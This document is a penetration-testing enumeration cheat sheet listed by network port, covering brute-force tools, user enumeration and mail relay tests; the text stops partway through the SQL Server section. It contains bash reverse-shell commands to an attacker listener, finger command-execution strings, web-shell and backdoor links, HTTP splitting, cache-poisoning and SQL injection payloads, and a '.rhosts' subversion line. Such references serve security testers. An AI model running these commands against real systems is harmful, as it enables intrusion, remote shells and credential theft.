Contents

[**Enumeration** 1](#_Toc96705538)

[FTP port 21 open 1](#_Toc96705539)

[SSH port 22 open 1](#_Toc96705540)

[Telnet port 23 open 1](#_Toc96705541)

[Sendmail Port 25 open 1](#_Toc96705542)

[DNS port 53 open 1](#_Toc96705543)

[TFTP port 69 open 1](#_Toc96705544)

[Finger Port 79 open 1](#_Toc96705545)

[Web Ports 80, 8080 etc. open 1](#_Toc96705546)

[Portmapper port 111 open 1](#_Toc96705547)

[NTP Port 123 open 1](#_Toc96705548)

[NetBIOS Ports 135-139,445 open 1](#_Toc96705549)

[SNMP port 161 open 1](#_Toc96705550)

[LDAP Port 389 Open 1](#_Toc96705551)

[PPTP/L2TP/VPN port 500/1723 open 1](#_Toc96705552)

[Modbus port 502 open 1](#_Toc96705553)

[rlogin port 513 open 1](#_Toc96705554)

[rsh port 514 open 1](#_Toc96705555)

[SQL Server Port 1433 1434 open 1](#_Toc96705556)

[Citrix port 1494 open 1](#_Toc96705557)

[Oracle Port 1521 Open 1](#_Toc96705558)

[NFS Port 2049 open 1](#_Toc96705559)

[Compaq/HP Insight Manager Port 2301,2381open 1](#_Toc96705560)

[MySQL port 3306 open 1](#_Toc96705561)

[RDesktop port 3389 open 1](#_Toc96705562)

[Sybase Port 5000+ open 1](#_Toc96705563)

[SIP Port 5060 open 1](#_Toc96705564)

[VNC port 5900^ open 1](#_Toc96705565)

[X11 port 6000^ open 1](#_Toc96705566)

[Tor Port 9001, 9030 open 1](#_Toc96705567)

[Jet Direct 9100 open 1](#_Toc96705568)

**Enumeration**

# FTP port 21 open

* + Fingerprint server
    - telnet ip\_address 21 (Banner grab)
    - Run command ftp ip\_address
    - ftp@example.com
    - Check for anonymous access
      * ftp ip\_addressUsername: anonymous OR anonPassword: any@email.com
  + Password guessing
    - [Hydra brute force](https://web.archive.org/web/20200309204648/http:/freeworld.thc.org/)
    - [medusa](https://web.archive.org/web/20200309204648/http:/www.foofus.net/jmk/medusa/)
    - [Brutus](https://web.archive.org/web/20200309204648/http:/www.hoobie.net/brutus/)
  + Examine configuration files
    - ftpusers
    - ftp.conf
    - proftpd.conf
  + MiTM
    - [pasvagg.pl](https://web.archive.org/web/20200309204648/http:/packetstormsecurity.org/0007-exploits/pasvagg.pl)

# SSH port 22 open

* + Fingerprint server
    - telnet ip\_address 22 (banner grab)
    - [scanssh](https://web.archive.org/web/20200309204648/http:/www.monkey.org/~provos/scanssh/)
      * scanssh -p -r -e excludes random(no.)/Network\_ID/Subnet\_Mask
  + Password guessing
    - ssh root@ip\_address
    - [guess-who](https://web.archive.org/web/20200309204648/http:/packetstormsecurity.org/groups/teso/guess-who-0.44.tgz)
      * ./b -l username -h ip\_address -p 22 -2 < password\_file\_location
    - [Hydra brute force](https://web.archive.org/web/20200309204648/http:/freeworld.thc.org/)
    - [brutessh](https://web.archive.org/web/20200309204648/http:/www.edge-security.com/edge-soft.php)
    - [Ruby SSH Bruteforcer](https://web.archive.org/web/20200309204648/http:/www.darkc0de.com/c0de/ruby/sshbrute.txt)
  + Examine configuration files
    - ssh\_config
    - sshd\_config
    - authorized\_keys
    - ssh\_known\_hosts
    - .shosts
  + SSH Client programs
    - [tunnelier](https://web.archive.org/web/20200309204648/http:/www.bitvise.com/)
    - [winsshd](https://web.archive.org/web/20200309204648/http:/www.bitvise.com/winsshd)
    - [putty](https://web.archive.org/web/20200309204648/http:/www.chiark.greenend.org.uk/~sgtatham/putty/)
    - [winscp](https://web.archive.org/web/20200309204648/http:/winscp.net/eng/index.php)

# Telnet port 23 open

* + Fingerprint server
    - telnet ip\_address
      * Common Banner ListOS/BannerSolaris 8/SunOS 5.8Solaris 2.6/SunOS 5.6Solaris 2.4 or 2.5.1/Unix(r) System V Release 4.0 (hostname)SunOS 4.1.x/SunOS Unix (hostname)FreeBSD/FreeBSD/i386 (hostname) (ttyp1)NetBSD/NetBSD/i386 (hostname) (ttyp1)OpenBSD/OpenBSD/i386 (hostname) (ttyp1)Red Hat 8.0/Red Hat Linux release 8.0 (Psyche)Debian 3.0/Debian GNU/Linux 3.0 / hostnameSGI IRIX 6.x/IRIX (hostname)IBM AIX 4.1.x/AIX Version 4 (C) Copyrights by IBM and by others 1982, 1994.IBM AIX 4.2.x or 4.3.x/AIX Version 4 (C) Copyrights by IBM and by others 1982, 1996.Nokia IPSO/IPSO (hostname) (ttyp0)Cisco IOS/User Access VerificationLivingston ComOS/ComOS - Livingston PortMaster
    - [telnetfp](https://web.archive.org/web/20200309204648/http:/www.securiteam.com/tools/6J00L0K06U.html)
  + Password Attack
    - [Common passwords](https://web.archive.org/web/20200309204648/http:/www.vulnerabiliyassessment.co.uk/passwords.htm)
    - [Hydra brute force](https://web.archive.org/web/20200309204648/http:/freeworld.thc.org/)
    - [Brutus](https://web.archive.org/web/20200309204648/http:/www.hoobie.net/brutus/)
    - telnet -l "-froot" hostname (Solaris 10+)
  + Examine configuration files
    - /etc/inetd.conf
    - /etc/xinetd.d/telnet
    - /etc/xinetd.d/stelnet

# Sendmail Port 25 open

* + Fingerprint server
    - telnet ip\_address 25 (banner grab)
  + Mail Server Testing
    - Enumerate users
      * VRFY username (verifies if username exists - enumeration of accounts)
      * EXPN username (verifies if username is valid - enumeration of accounts)
    - Mail Spoof Test
      * HELO anything MAIL FROM: spoofed\_address RCPT TO:valid\_mail\_account DATA . QUIT
    - Mail Relay Test
      * HELO anything
        + Identical to/from - mail from: <nobody@domain> rcpt to: <nobody@domain>
        + Unknown domain - mail from: <user@unknown\_domain>
        + Domain not present - mail from: <user@localhost>
        + Domain not supplied - mail from: <user>
        + Source address omission - mail from: <> rcpt to: <nobody@recipient\_domain>
        + Use IP address of target server - mail from: <user@IP\_Address> rcpt to: <nobody@recipient\_domain>
        + Use double quotes - mail from: <user@domain> rcpt to: <"user@recipent-domain">
        + User IP address of the target server - mail from: <user@domain> rcpt to: <nobody@recipient\_domain@[IP Address]>
        + Disparate formatting - mail from: <user@[IP Address]> rcpt to: <@domain:nobody@recipient-domain>
        + Disparate formatting2 - mail from: <user@[IP Address]> rcpt to: <recipient\_domain!nobody@[IP Address]>
  + Examine Configuration Files
    - sendmail.cf
    - submit.cf

# DNS port 53 open

* + Fingerprint server/ service
    - host
      * host [-aCdlnrTwv ] [-c class ] [-N ndots ] [-R number ] [-t type ] [-W wait ] name [server ] -v verbose format -t (query type) Allows a user to specify a record type i.e. A, NS, or PTR. -a Same as –t ANY. -l Zone transfer (if allowed). -f Save to a specified filename.
    - nslookup
      * nslookup [ -option ... ] [ host-to-find | - [ server ]]
    - dig
      * dig [ @server ] [-b address ] [-c class ] [-f filename ] [-k filename ] [-p port# ] [-t type ] [-x addr ] [-y name:key ] [-4 ] [-6 ] [name ] [type ] [class ] [queryopt... ]
    - whois-h Use the named host to resolve the query -a Use ARIN to resolve the query -r Use RIPE to resolve the query -p Use APNIC to resolve the query -Q Perform a quick lookup
  + DNS Enumeration
    - [Bile Suite](https://web.archive.org/web/20200309204648/http:/www.sensepost.com/)
      * perl BiLE.pl [website] [project\_name]
      * perl BiLE-weigh.pl [website] [input file]
      * perl vet-IPrange.pl [input file] [true domain file] [output file] <range>
      * perl vet-mx.pl [input file] [true domain file] [output file]
      * perl exp-tld.pl [input file] [output file]
      * perl jarf-dnsbrute [domain\_name] (brutelevel) [file\_with\_names]
      * perl qtrace.pl [ip\_address\_file] [output\_file]
      * perl jarf-rev [subnetblock] [nameserver]
    - [txdns](https://web.archive.org/web/20200309204648/http:/www.txdns.net/)
      * txdns -rt -t domain\_name
      * txdns -x 50 -bb domain\_name
      * txdns --verbose -fm wordlist.dic --server ip\_address -rr SOA domain\_name -h c: \hostlist.txt
  + Examine Configuration Files
    - host.conf
    - resolv.conf
    - named.conf

# TFTP port 69 open

* + TFTP Enumeration
    - tftp ip\_address PUT local\_file
    - tftp ip\_address GET conf.txt (or other files)
    - Solarwinds TFTP server
    - tftp – i <IP> GET /etc/passwd (old Solaris)
  + TFTP Bruteforcing
    - [TFTP bruteforcer](https://web.archive.org/web/20200309204648/http:/www.arhont.com/digitalAssets/)
    - [Cisco-Torch](https://web.archive.org/web/20200309204648/http:/www.hackingciscoexposed.com/?link=tools)

# Finger Port 79 open

* + User enumeration
    - finger 'a b c d e f g h' @example.com
    - finger admin@example.com
    - finger user@example.com
    - finger 0@example.com
    - finger .@example.com
    - finger \*\*@example.com
    - finger test@example.com
    - finger @example.com
  + Command execution
    - finger "|/bin/id@example.com"
    - finger "|/bin/ls -a /@example.com"
  + Finger Bounce
    - finger user@host@victim
    - finger @internal@external

# Web Ports 80, 8080 etc. open

* + Fingerprint server
    - Telnet ip\_address port
    - Firefox plugins
      * All
        + [firecat](https://web.archive.org/web/20200309204648/http:/www.security-database.com/)
      * Specific
        + [add n edit cookies](https://web.archive.org/web/20200309204648/https:/addons.mozilla.org/)
        + [asnumber](https://web.archive.org/web/20200309204648/https:/addons.mozilla.org/)
        + [header spy](https://web.archive.org/web/20200309204648/https:/addons.mozilla.org/)
        + [live http headers](https://web.archive.org/web/20200309204648/https:/addons.mozilla.org/)
        + [shazou](https://web.archive.org/web/20200309204648/https:/addons.mozilla.org/)
        + [web developer](https://web.archive.org/web/20200309204648/http:/chrispederick.com/work/web-developer/)
  + Crawl website
    - lynx [options] startfile/URL Options include -traversal -crawl -dump -image\_links -source
    - [httprint](https://web.archive.org/web/20200309204648/http:/net-square.com/httprint/httprint_paper.html)
    - [Metagoofil](https://web.archive.org/web/20200309204648/http:/www.edge-security.com/metagoofil.php)
      * metagoofil.py -d [domain] -l [no. of] -f [type] -o results.html
  + Web Directory enumeration
    - [Nikto](https://web.archive.org/web/20200309204648/http:/www.cirt.net/code/nikto.shtml)
      * nikto [-h target] [options]
    - [DirBuster](https://web.archive.org/web/20200309204648/http:/www.owasp.org/index.php/Category:OWASP_DirBuster_Project)
    - [Wikto](https://web.archive.org/web/20200309204648/http:/www.sensepost.com/research/wikto/)
    - [Goolag Scanner](https://web.archive.org/web/20200309204648/http:/www.goolag.org/download.html)
  + Vulnerability Assessment
    - Manual Tests
      * [Default Passwords](https://web.archive.org/web/20200309204648/http:/www.vulnerabilityassessment.co.uk/Passwords.htm)
      * Install Backdoors
        + ASP

http://packetstormsecurity.org/UNIX/penetration/aspxshell.aspx.txt

* + - * + Assorted

http://michaeldaw.org/projects/web-backdoor-compilation/

http://open-labs.org/hacker\_webkit02.tar.gz

* + - * + Perl

http://home.arcor.de/mschierlm/test/pmsh.pl

http://pentestmonkey.net/tools/perl-reverse-shell/

http://freeworld.thc.org/download.php?t=r&f=rwwwshell-2.0.pl.gz

* + - * + PHP

http://php.spb.ru/remview/

http://pentestmonkey.net/tools/php-reverse-shell/

http://pentestmonkey.net/tools/php-findsock-shell/

* + - * + Python

http://matahari.sourceforge.net/

* + - * + TCL

http://www.irmplc.com/download\_pdf.php?src=Creating\_Backdoors\_in\_Cisco\_IOS\_using\_Tcl.pdf&force=yes

* + - * + Bash Connect Back Shell

[GnuCitizen](https://web.archive.org/web/20200309204648/http:/www.gnucitizen.org/blog/reverse-shell-with-bash/)

Atttack Box: nc -l -p Port -vvv

Victim: $ exec 5<>/dev/tcp/IP\_Address/Port

Victim: $ cat <&5 | while read line; do $line 2>&5 >&5; done

[Neohapsis](https://web.archive.org/web/20200309204648/http:/labs.neohapsis.com/2008/04/17/connect-back-shell-literally/)

Atttack Box: nc -l -p Port -vvv

Victim: $ exec 0</dev/tcp/IP\_Address/Port # First we copy our connection over stdin

Victim: $ exec 1>&0 # Next we copy stdin to stdout

Victim: $ exec 2>&0 # And finally stdin to stderr

Victim: $ exec /bin/sh 0</dev/tcp/IP\_Address/Port 1>&0 2>&0

* + - * Method Testing
        + nc IP\_Adress Port

HEAD / HTTP/1.0

OPTIONS / HTTP/1.0

PROPFIND / HTTP/1.0

TRACE / HTTP/1.1

PUT http://Target\_URL/FILE\_NAME

POST http://Target\_URL/FILE\_NAME HTTP/1.x

* + - * Upload Files
        + curl

curl -u <username:password> -T file\_to\_upload <Target\_URL>

curl -A "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)" <Target\_URL>

* + - * + [put.pl](https://web.archive.org/web/20200309204648/http:/examples.oreilly.com/networksa/tools/put.pl)

put.pl -h target -r /remote\_file\_name -f local\_file\_name

* + - * + webdav

[cadaver](https://web.archive.org/web/20200309204648/http:/www.webdav.org/cadaver/)

* + - * View Page Source
        + Hidden Values
        + Developer Remarks
        + Extraneous Code
        + Passwords!
      * [Input Validation Checks](https://web.archive.org/web/20200309204648/http:/michaeldaw.org/input_validation_cheat_sheet/)
        + NULL or null

Possible error messages returned.

* + - * + ' , " , ; , <!

Breaks an SQL string or query; used for SQL, XPath and XML Injection tests.

* + - * + – , = , + , "

Used to craft SQL Injection queries.

* + - * + ‘ , &, ! , ¦ , < , >

Used to find command execution vulnerabilities.

* + - * + "><script>alert(1)</script>

Basic Cross-Site Scripting Checks.

* + - * + %0d%0a

Carriage Return (%0d) Line Feed (%0a)

HTTP Splitting

language=?foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2047%0d%0a%0d%0a<html>Insert undesireable content here</html>

i.e. Content-Length= 0 HTTP/1.1 200 OK Content-Type=text/html Content-Length=47<html>blah</html>

Cache Poisoning

language=?foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20304%20Not%20Modified%0d%0aContent-Type:%20text/html%0d%0aLast-Modified:%20Mon,%2027%20Oct%202003%2014:50:18%20GMT%0d%0aContent-Length:%2047%0d%0a%0d%0a<html>Insert undesireable content here</html>

* + - * + %7f , %ff

byte-length overflows; maximum 7- and 8-bit values.

* + - * + -1, other

Integer and underflow vulnerabilities.

* + - * + %n , %x , %s

Testing for format string vulnerabilities.

* + - * + ../

Directory Traversal Vulnerabilities.

* + - * + % , \_, \*

Wildcard characters can sometimes present DoS issues or information disclosure.

* + - * + Ax1024+

Overflow vulnerabilities.

* + - * Automated table and column iteration
        + [orderby.py](https://web.archive.org/web/20200309204648/http:/forum.darkc0de.com/)

./orderby.py www.site.com/index.php?id=

* + - * + [d3sqlfuzz.py](https://web.archive.org/web/20200309204648/http:/forum.darkc0de.com/)

./d3sqlfuzz.py www.site.com/index.php?id=-1+UNION+ALL+SELECT+1,COLUMN,3+FROM+TABLE--

* + - Vulnerability Scanners
      * [Acunetix](https://web.archive.org/web/20200309204648/http:/www.acunetix.com/)
      * [Grendelscan](https://web.archive.org/web/20200309204648/http:/grendel-scan.com/)
      * [NStealth](https://web.archive.org/web/20200309204648/http:/www.nstalker.com/eng/products/nstealth/free/download.php)
      * [Obiwan III](https://web.archive.org/web/20200309204648/http:/www.phenoelit-us.org/obiwan/docu.html)
      * [w3af](https://web.archive.org/web/20200309204648/http:/w3af.sourceforge.net/)
    - Specific Applications/ Server Tools
      * Domino
        + [dominoaudit](https://web.archive.org/web/20200309204648/http:/www.irmplc.com/Tools/dominoaudit.pl)

dominoaudit.pl [options] -h <IP>

* + - * Joomla
        + [cms\_few](https://web.archive.org/web/20200309204648/http:/packetstormsecurity.org/filedesc/cms_few.py.txt.html)

./cms.py <site-name>

* + - * + [joomsq](https://web.archive.org/web/20200309204648/http:/packetstormsecurity.org/UNIX/scanners/joomsq.py.txt)

./joomsq.py <IP>

* + - * + [joomlascan](https://web.archive.org/web/20200309204648/http:/packetstormsecurity.nl/filedesc/joomlascan.py.txt.html)

./joomlascan.py <site> <options>  [options i.e. -p/-proxy <host:port> : Add proxy support -404 : Don't show 404 responses]

* + - * + [joomscan](https://web.archive.org/web/20200309204648/http:/www.darkc0de.com/others/joomscan.py)

./joomscan.py -u "www.site.com/joomladir/" -o site.txt -p 127.0.0.1:80

* + - * + [jscan](https://web.archive.org/web/20200309204648/http:/destr0y.net/showthread.php?t=137)

jscan.pl -f hostname

(shell.txt required)

* + - * [aspaudit.pl](https://web.archive.org/web/20200309204648/http:/www.indianz.ch/toolslnxe.html)
        + asp-audit.pl http://target/app/filename.aspx (options i.e. -bf)
      * Vbulletin
        + [vbscan.py](https://web.archive.org/web/20200309204648/http:/darkc0de.com/scanners/)

vbscan.py <host> <port> -v

vbscan.py -update

* + - * ZyXel
        + [zyxel-bf.sh](https://web.archive.org/web/20200309204648/http:/www.gnucitizen.org/static/blog/2008/04/hacking_zyxel_gateways_part_2.pdf)
        + snmpwalk

snmpwalk -v2c -c public IP\_Address 1.3.6.1.4.1.890.1.2.1.2

* + - * + snmpget

snmpget -v2c -c public IP\_Address 1.3.6.1.4.1.890.1.2.1.2.6.0

* + Proxy Testing
    - [Burpsuite](https://web.archive.org/web/20200309204648/http:/www.portswigger.net/)
    - [Crowbar](https://web.archive.org/web/20200309204648/http:/www.sensepost.com/research/crowbar%20)
    - [Interceptor](https://web.archive.org/web/20200309204648/http:/www.woany.co.uk/)
    - [Paros](https://web.archive.org/web/20200309204648/http:/www.parosproxy.org/index.shtml)
    - [Requester Raw](https://web.archive.org/web/20200309204648/http:/www.woany.co.uk/)
    - [Suru](https://web.archive.org/web/20200309204648/http:/www.sensepost.com/research/suru/)
    - [WebScarab](https://web.archive.org/web/20200309204648/http:/www.owasp.org/index.php/Category:OWASP_WebScarab_Project)
  + Examine configuration files
    - Generic
      * Examine httpd.conf/ windows config files
    - [JBoss](https://web.archive.org/web/20200309204648/http:/packetstormsecurity.org/papers/attack/Whitepaper-Hacking-jBoss-using-a-Browser.pdf)
      * JMX Console http://<IP>:8080/jmxconcole/
        + [War File](https://web.archive.org/web/20200309204648/http:/access1.sun.com/techarticles/simple.WAR.html)
    - Joomla
      * configuration.php
      * diagnostics.php
      * joomla.inc.php
      * config.inc.php
    - Mambo
      * configuration.php
      * config.inc.php
    - Wordpress
      * setup-config.php
      * wp-config.php
    - [ZyXel](https://web.archive.org/web/20200309204648/http:/packetstormsecurity.org/papers/attack/Hacking_ZyXEL_Gateways.pdf)
      * /WAN.html (contains PPPoE ISP password)
      * /WLAN\_General.html and /WLAN.html (contains WEP key)
      * /rpDyDNS.html (contains DDNS credentials)
      * /Firewall\_DefPolicy.html (Firewall)
      * /CF\_Keyword.html (Content Filter)
      * /RemMagWWW.html (Remote MGMT)
      * /rpSysAdmin.html (System)
      * /LAN\_IP.html (LAN)
      * /NAT\_General.html (NAT)
      * /ViewLog.html (Logs)
      * /rpFWUpload.html (Tools)
      * /DiagGeneral.html (Diagnostic)
      * /RemMagSNMP.html (SNMP Passwords)
      * /LAN\_ClientList.html (Current DHCP Leases)
      * Config Backups
        + /RestoreCfg.html
        + /BackupCfg.html
        + Note: - The above config files are not human readable and the following tool is required to breakout possible admin credentials and other important settings

[ZyXEL Config Reader](https://web.archive.org/web/20200309204648/http:/www.mindmasters.nl/kender/zyxel/configreader.zip)

* + Examine web server logs
    - c:\winnt\system32\Logfiles\W3SVC1
      * awk -F " " '{print $3,$11} filename | sort | uniq
  + References
    - White Papers
      * [Cross Site Request Forgery: An Introduction to a Common Web Application Weakness](https://web.archive.org/web/20200309204648/http:/www.isecpartners.com/files/CSRF_Paper.pdf)
      * [Attacking Web Service Security: Message Oriented Madness, XML Worms and Web Service Security Sanity](https://web.archive.org/web/20200309204648/http:/www.isecpartners.com/files/iSEC_HILL_AttackingXMLSecurity_Handout.pdf)
      * [Blind Security Testing - An Evolutionary Approach](https://web.archive.org/web/20200309204648/http:/www.isecpartners.com/files/iSEC_Scott_Stender_Blind_Security_Testing.bh07.pdf)
      * [Command Injection in XML Signatures and Encryption](https://web.archive.org/web/20200309204648/http:/www.isecpartners.com/files/XMLDSIG_Command_Injection.pdf)
      * [Input Validation Cheat Sheet](https://web.archive.org/web/20200309204648/http:/michaeldaw.org/input_validation_cheat_sheet/)
      * [SQL Injection Cheat Sheet](https://web.archive.org/web/20200309204648/http:/michaeldaw.org/sql-injection-cheat-sheet/)
    - Books
      * [Hacking Exposed Web 2.0](https://web.archive.org/web/20200309204648/http:/www.isecpartners.com/hackingexposedweb20.html)
      * [Hacking Exposed Web Applications](https://web.archive.org/web/20200309204648/http:/www.webhackingexposed.com/)
      * [The Web Application Hacker's Handbook](https://web.archive.org/web/20200309204648/http:/portswigger.net/wahh/)
  + Exploit Frameworks
    - Brute-force Tools
      * [Acunetix](https://web.archive.org/web/20200309204648/http:/www.acunetix.com/)
    - [Metasploit](https://web.archive.org/web/20200309204648/http:/www.metasploit.com/)
    - [w3af](https://web.archive.org/web/20200309204648/http:/w3af.sourceforge.net/)

# Portmapper port 111 open

* + [rpcdump.py](https://web.archive.org/web/20200309204648/http:/oss.coresecurity.com/impacket/rpcdump.py)
    - rpcdump.py username:password@IP\_Address port/protocol (i.e. 80/HTTP)
  + rpcinfo
    - rpcinfo [options] IP\_Address

# NTP Port 123 open

* + NTP Enumeration
    - ntpdc -c monlist IP\_ADDRESS
    - ntpdc -c sysinfo IP\_ADDRESS
    - ntpq
      * host
      * hostname
      * ntpversion
      * readlist
      * version
  + Examine configuration files
    - ntp.conf

# NetBIOS Ports 135-139,445 open

* + NetBIOS enumeration
    - [Enum](https://web.archive.org/web/20200309204648/http:/www.bindview.com/Services/RAZOR/Utilities/Windows/enum_readme.cfm)
      * enum <-UMNSPGLdc> <-u username> <-p password> <-f dictfile> <hostname|ip>
    - Null Session
      * net use \\192.168.1.1\ipc$ "" /u:""
        + net view \\ip\_address
        + [Dumpsec](https://web.archive.org/web/20200309204648/http:/www.systemtools.com/download/dumpacl.zip)
    - Smbclient
      * smbclient -L //server/share password options
    - [Superscan](https://web.archive.org/web/20200309204648/http:/www.foundstone.com/index.htm?subnav=resources/navigation.htm&subcontent=/resources/proddesc/superscan.htm)
      * Enumeration tab.
    - [user2sid/sid2user](https://web.archive.org/web/20200309204648/http:/packetstormsecurity.org/NT/hack/sid.zip)
    - [Winfo](https://web.archive.org/web/20200309204648/http:/ntsecurity.nu/toolbox/winfo/)
  + NetBIOS brute force
    - [Hydra](https://web.archive.org/web/20200309204648/http:/freeworld.thc.org/)
    - [Brutus](https://web.archive.org/web/20200309204648/http:/www.hoobie.net/brutus/)
    - [Cain & Abel](https://web.archive.org/web/20200309204648/http:/www.oxid.it/cain.html)
    - [getacct](https://web.archive.org/web/20200309204648/http:/www.securityfriday.com/tools/GetAcct.html)
    - [NAT (NetBIOS Auditing Tool)](https://web.archive.org/web/20200309204648/http:/www.cotse.com/tools/netbios.htm)
  + Examine Configuration Files
    - Smb.conf
    - lmhosts

# SNMP port 161 open

* + Default Community Strings
    - public
    - private
    - cisco
      * cable-docsis
      * ILMI
  + MIB enumeration
    - Windows NT
      * .1.3.6.1.2.1.1.5 Hostnames
      * .1.3.6.1.4.1.77.1.4.2 Domain Name
      * .1.3.6.1.4.1.77.1.2.25 Usernames
      * .1.3.6.1.4.1.77.1.2.3.1.1 Running Services
      * .1.3.6.1.4.1.77.1.2.27 Share Information
    - [Solarwinds MIB walk](https://web.archive.org/web/20200309204648/http:/www.solarwinds.net/Download-Tools.htm)
    - [Getif](https://web.archive.org/web/20200309204648/http:/www.wtcs.org/snmp4tpc/getif.htm)
    - snmpwalk
      * snmpwalk -v <Version> -c <Community string> <IP>
    - [Snscan](https://web.archive.org/web/20200309204648/http:/www.foundstone.com/)
    - Applications
      * ZyXel
        + snmpget -v2c -c <Community String> <IP> 1.3.6.1.4.1.890.1.2.1.2.6.0
        + snmpwalk -v2c -c <Community String> <IP> 1.3.6.1.4.1.890.1.2.1.2
  + SNMP Bruteforce
    - onesixtyone
      * onesixytone -c SNMP.wordlist <IP>
    - cat
      * ./cat -h <IP> -w SNMP.wordlist
    - [Solarwinds SNMP Brute Force](https://web.archive.org/web/20200309204648/http:/www.solarwinds.net/Download-Tools.htm)
    - [ADMsnmp](https://web.archive.org/web/20200309204648/http:/adm.freelsd.net/ADM/)
  + Examine SNMP Configuration files
    - snmp.conf
    - snmpd.conf
    - snmp-config.xml

# LDAP Port 389 Open

* + ldap enumeration
    - [ldapminer](https://web.archive.org/web/20200309204648/http:/sourceforge.net/projects/ldapminer/)
      * ldapminer -h ip\_address -p port (not required if default) -d
    - [luma](https://web.archive.org/web/20200309204648/http:/luma.sourceforge.net/)
      * Gui based tool
    - [ldp](https://web.archive.org/web/20200309204648/http:/www.microsoft.com/)
      * Gui based tool
    - [openldap](https://web.archive.org/web/20200309204648/http:/www.vulnerabilityassessment.co.uk/%20http:/www.openldap.org/)
      * ldapsearch [-n] [-u] [-v] [-k] [-K] [-t] [-A] [-L[L[L]]] [-M[M]] [-d debuglevel] [-f file] [-D binddn] [-W] [-w passwd] [-y passwdfile] [-H ldapuri] [-h ldaphost] [-p ldapport] [-P 2|3] [-b searchbase] [-s base|one|sub] [-a never|always|search|find] [-l timelimit] [-z sizelimit] [-O security-properties] [-I] [-U authcid] [-R realm] [-x] [-X authzid] [-Y mech] [-Z[Z]] filter [attrs...]
      * ldapadd [-c][-S file][-n][-v][-k][-K][-M[M]][-d debuglevel][-D binddn][-W][-w passwd][-y passwdfile][-h ldaphost][-p ldap-port][-P 2|3][-O security-properties][-I][-Q][-U authcid][-R realm][-x][-X authzid][-Y mech][-Z[Z]][-f file]
      * ldapdelete [-n][-v][-k][-K][-c][-M[M]][-d debuglevel][-f file][-D binddn][-W][-w passwd][-y passwdfile][-H ldapuri][-h ldaphost][-P 2|3][-p ldapport][-O security-properties][-U authcid][-R realm][-x][-I][-Q] [-X authzid][-Y mech][-Z[Z]][dn]
      * ldapmodify [-a][-c][-S file][-n][-v][-k][-K][-M[M]][-d debuglevel][-D binddn][-W][-w passwd][-y passwdfile][-H ldapuri][-h ldaphost][-p ldapport][-P 2|3][-O security-properties][-I][-Q][-U authcid][-R realm][-x][-X authzid][-Y mech][-Z[Z]][-f file]
      * ldapmodrdn [-r][-n][-v][-k][-K][-c][-M[M]][-d debuglevel][-D binddn][-W][-w passwd][-y passwdfile] [-H ldapuri][-h ldaphost][-p ldapport][-P 2|3][-O security-properties][-I][-Q][-U authcid][-R realm][-x] [-X authzid][-Y mech][-Z[Z]][-f file][dn rdn]
  + ldap brute force
    - [bf\_ldap](https://web.archive.org/web/20200309204648/http:/examples.oreilly.com/networksa/tools/)
      * bf\_ldap -s server -d domain name -u|-U username | users list file name -L|-l passwords list | length of passwords to generate optional: -p port (default 389) -v (verbose mode) -P Ldap user path (default ,CN=Users,)
    - [K0ldS](https://web.archive.org/web/20200309204648/http:/www.indianz.ch/)
    - [LDAP\_Brute.pl](https://web.archive.org/web/20200309204648/http:/www.securiteam.com/tools/6F00D0U3GK.html)
  + Examine Configuration Files
    - General
      * containers.ldif
      * ldap.cfg
      * ldap.conf
      * ldap.xml
      * ldap-config.xml
      * ldap-realm.xml
      * slapd.conf
    - IBM SecureWay V3 server
      * V3.sas.oc
    - Microsoft Active Directory server
      * msadClassesAttrs.ldif
    - Netscape Directory Server 4
      * nsslapd.sas\_at.conf
      * nsslapd.sas\_oc.conf
    - OpenLDAP directory server
      * slapd.sas\_at.conf
      * slapd.sas\_oc.conf
    - Sun ONE Directory Server 5.1
      * 75sas.ldif

# PPTP/L2TP/VPN port 500/1723 open

* + Enumeration
    - [ike-scan](https://web.archive.org/web/20200309204648/http:/www.nta-monitor.com/ike-scan/)
    - [ike-probe](https://web.archive.org/web/20200309204648/http:/www.ernw.de/download/ikeprobe.zip)
  + Brute-Force
    - [ike-crack](https://web.archive.org/web/20200309204648/http:/ikecrack.sourceforge.net/)
  + Reference Material
    - [PSK cracking paper](https://web.archive.org/web/20200309204648/http:/www.ernw.de/download/pskattack.pdf)
    - [SecurityFocus Infocus](https://web.archive.org/web/20200309204648/http:/www.securityfocus.com/infocus/1821)
    - [Scanning a VPN Implementation](https://web.archive.org/web/20200309204648/http:/www.radarhack.com/dir/papers/Scanning_ike_with_ikescan.pdf)

# Modbus port 502 open

* + [modscan](https://web.archive.org/web/20200309204648/http:/www.packetstormsecurity.org/UNIX/scanners/modscan.py.txt)

# rlogin port 513 open

* + Rlogin Enumeration
    - Find the files
      * find / -name .rhosts
      * locate .rhosts
    - Examine Files
      * cat .rhosts
    - Manual Login
      * rlogin hostname -l username
      * rlogin <IP>
    - Subvert the files
      * echo ++ > .rhosts
  + Rlogin Brute force
    - [Hydra](https://web.archive.org/web/20200309204648/http:/freeworld.thc.org/)

# rsh port 514 open

* + Rsh Enumeration
    - rsh host [-l username] [-n] [-d] [-k realm] [-f | -F] [-x] [-PN | -PO] command
  + Rsh Brute Force
    - [rsh-grind](https://web.archive.org/web/20200309204648/http:/pentestmonkey.net/tools/rsh-grind/)
    - [Hydra](https://web.archive.org/web/20200309204648/http:/freeworld.thc.org/)
    - [medusa](https://web.archive.org/web/20200309204648/http:/www.foofus.net/jmk/medusa/)

# SQL Server Port 1433 1434 open

* + SQL Enumeration
    - [piggy](https://web.archive.org/web/20200309204648/http:/www.cqure.net/wp/?page_id=33)
    - [SQLPing](https://web.archive.org/web/20200309204648/http:/www.sqlsecurity.com/Tools/FreeTools/tabid/65/Default.aspx)
      * sqlping ip\_address/hostname
    - [SQLPing2](https://web.archive.org/web/20200309204648/http:/www.sqlsecurity.com/Tools/FreeTools/tabid/65/Default.aspx)
    - [SQLPing3](https://web.archive.org/web/20200309204648/http:/www.sqlsecurity.com/Tools/FreeTools/tabid/65/Default.aspx)
    - [SQLpoke](https://web.archive.org/web/20200309204648/http:/www.sqlsecurity.com/Tools/FreeTools/tabid/65/Default.aspx)
    - [SQL Recon](https://web.archive.org/web/20200309204648/http:/www.specialopssecurity.com/labs/sqlrecon/1.0/down.php)
    - [SQLver](https://web.archive.org/web/20200309204648/http:/www.sqlsecurity.com/Tools/FreeTools/tabid/65/Default.aspx)
  + SQL Brute Force
